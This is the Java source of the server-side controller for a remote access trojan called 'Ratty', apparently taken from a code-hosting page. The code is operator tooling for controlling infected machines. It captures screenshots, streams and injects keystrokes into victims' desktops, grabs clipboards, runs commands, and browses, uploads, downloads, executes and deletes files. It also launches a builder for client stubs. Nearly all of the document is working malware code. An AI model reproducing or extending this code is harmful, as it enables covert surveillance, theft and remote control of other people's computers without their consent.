java remote access trojanc
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

276 lines
8.8 KiB

package de.sogomn.rat.server.gui;
import java.awt.image.BufferedImage;
import java.io.File;
import java.util.ArrayList;
import javax.swing.JFileChooser;
import javax.swing.JOptionPane;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.builder.StubBuilder;
import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.CreateFolderPacket;
import de.sogomn.rat.packet.DeleteFilePacket;
import de.sogomn.rat.packet.DesktopStreamPacket;
import de.sogomn.rat.packet.DownloadFilePacket;
import de.sogomn.rat.packet.ExecuteFilePacket;
import de.sogomn.rat.packet.FileSystemPacket;
import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket;
import de.sogomn.rat.packet.KeyEventPacket;
import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.packet.ScreenshotPacket;
import de.sogomn.rat.packet.UploadFilePacket;
import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.IServerObserver;
import de.sogomn.rat.util.FrameEncoder.IFrame;
/*
* THIS CLASS IS A MESS!
* I HAVE NO IDEA HOW ONE MAKES NON-MESSY CONTROLLER CLASSES
*/
public final class RattyGuiController implements IServerObserver, IClientObserver, IGuiController {
private RattyGui gui;
private JFileChooser fileChooser;
private ArrayList<ServerClient> clients;
private long nextId;
public RattyGuiController(final RattyGui gui) {
this.gui = gui;
fileChooser = new JFileChooser();
clients = new ArrayList<ServerClient>();
gui.setController(this);
}
private ServerClient getServerClient(final ActiveClient client) {
for (final ServerClient serverClient : clients) {
if (serverClient.client == client) {
return serverClient;
}
}
return null;
}
private File chooseFile() {
final int input = fileChooser.showOpenDialog(null);
if (input == JFileChooser.APPROVE_OPTION) {
return fileChooser.getSelectedFile();
}
return null;
}
private IPacket getPacket(final String command, final ServerClient serverClient) {
final boolean streamingDesktop = serverClient.isStreamingDesktop();
IPacket packet = null;
if (command == RattyGui.POPUP) {
packet = PopupPacket.create();
} else if (command == RattyGui.FREE) {
packet = new FreePacket();
} else if (command == RattyGui.SCREENSHOT) {
packet = new ScreenshotPacket();
} else if (command == RattyGui.COMMAND) {
packet = CommandPacket.create();
} else if (command == RattyGui.DESKTOP) {
packet = new DesktopStreamPacket(true);
} else if (command == RattyGui.CLIPBOARD) {
packet = new ClipboardPacket();
} else if (command == FileTreePanel.REQUEST) {
final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastPathClicked();
packet = new FileSystemPacket(path);
treePanel.removeChildren(path);
} else if (command == FileTreePanel.DOWNLOAD) {
final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastPathClicked();
packet = new DownloadFilePacket(path);
} else if (command == FileTreePanel.UPLOAD) {
final File file = chooseFile();
if (file != null) {
final String localPath = file.getAbsolutePath();
final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastNodePathFolder();
packet = new UploadFilePacket(localPath, path);
}
} else if (command == FileTreePanel.EXECUTE) {
final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastPathClicked();
packet = new ExecuteFilePacket(path);
} else if (command == FileTreePanel.NEW_FOLDER) {
final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastNodePathFolder();
final String name = JOptionPane.showInputDialog(null);
if (name != null && !name.isEmpty()) {
packet = new CreateFolderPacket(path, name);
}
} else if (command == FileTreePanel.DELETE) {
final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastPathClicked();
packet = new DeleteFilePacket(path);
treePanel.removeFile(path);
} else if (command == DisplayPanel.KEY_PRESSED && streamingDesktop) {
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
final int key = displayPanel.getLastKeyHit();
packet = new KeyEventPacket(key, KeyEventPacket.PRESS);
} else if (command == DisplayPanel.KEY_RELEASED && streamingDesktop) {
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
final int key = displayPanel.getLastKeyHit();
packet = new KeyEventPacket(key, KeyEventPacket.RELEASE);
}
return packet;
}
private void handle(final ServerClient serverClient, final ScreenshotPacket packet) {
final BufferedImage image = packet.getImage();
serverClient.getDisplayPanel().showImage(image);
}
private void handle(final ServerClient serverClient, final DesktopStreamPacket packet) {
final IFrame frame = packet.getFrame();
final int screenWidth = packet.getScreenWidth();
final int screenHeight = packet.getScreenHeight();
final DesktopStreamPacket request = new DesktopStreamPacket();
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
displayPanel.showFrame(frame, screenWidth, screenHeight);
serverClient.client.addPacket(request);
}
private void handle(final ServerClient serverClient, final FileSystemPacket packet) {
final FileTreePanel treePanel = serverClient.getTreePanel();
final String[] paths = packet.getPaths();
for (final String path : paths) {
treePanel.addFile(path);
}
}
private void handle(final ServerClient serverClient, final InformationPacket packet) {
final String name = packet.getName();
final String os = packet.getOs();
final String version = packet.getVersion();
serverClient.logIn(name, os, version);
serverClient.setController(this);
gui.addRow(serverClient);
}
@Override
public void packetReceived(final ActiveClient client, final IPacket packet) {
final ServerClient serverClient = getServerClient(client);
final boolean loggedIn = serverClient.isLoggedIn();
if (loggedIn) {
if (packet instanceof ScreenshotPacket) {
final ScreenshotPacket screenshot = (ScreenshotPacket)packet;
handle(serverClient, screenshot);
} else if (packet instanceof DesktopStreamPacket) {
final boolean streamingDesktop = serverClient.isStreamingDesktop();
final DesktopStreamPacket stream = (DesktopStreamPacket)packet;
if (streamingDesktop) {
handle(serverClient, stream);
}
} else if (packet instanceof FileSystemPacket) {
final FileSystemPacket file = (FileSystemPacket)packet;
handle(serverClient, file);
} else {
packet.execute(client);
}
} else if (packet instanceof InformationPacket) {
final InformationPacket information = (InformationPacket)packet;
handle(serverClient, information);
}
}
@Override
public void clientDisconnected(final ActiveClient client) {
final ServerClient serverClient = getServerClient(client);
final FileTreePanel treePanel = serverClient.getTreePanel();
serverClient.setStreamingDesktop(false);
serverClient.setController(null);
client.setObserver(null);
client.close();
clients.remove(client);
treePanel.setVisible(false);
gui.removeRow(serverClient);
}
@Override
public synchronized void clientConnected(final ActiveServer server, final ActiveClient client) {
final long id = nextId++;
final ServerClient serverClient = new ServerClient(id, client);
final InformationPacket packet = new InformationPacket();
client.setObserver(this);
clients.add(serverClient);
client.start();
client.addPacket(packet);
}
@Override
public void closed(final ActiveServer server) {
//...
}
@Override
public void userInput(final String command) {
final ServerClient serverClient = gui.getLastServerClientClicked();
if (serverClient != null) {
final IPacket packet = getPacket(command, serverClient);
if (packet != null) {
serverClient.client.addPacket(packet);
}
}
if (command == RattyGui.DESKTOP) {
serverClient.setStreamingDesktop(true);
gui.updateTable();
} else if (command == RattyGui.DESKTOP_STOP) {
serverClient.setStreamingDesktop(false);
gui.updateTable();
} else if (command == RattyGui.FILES) {
final FileTreePanel treePanel = serverClient.getTreePanel();
treePanel.setVisible(true);
} else if (command == RattyGui.BUILD) {
StubBuilder.start();
}
}
}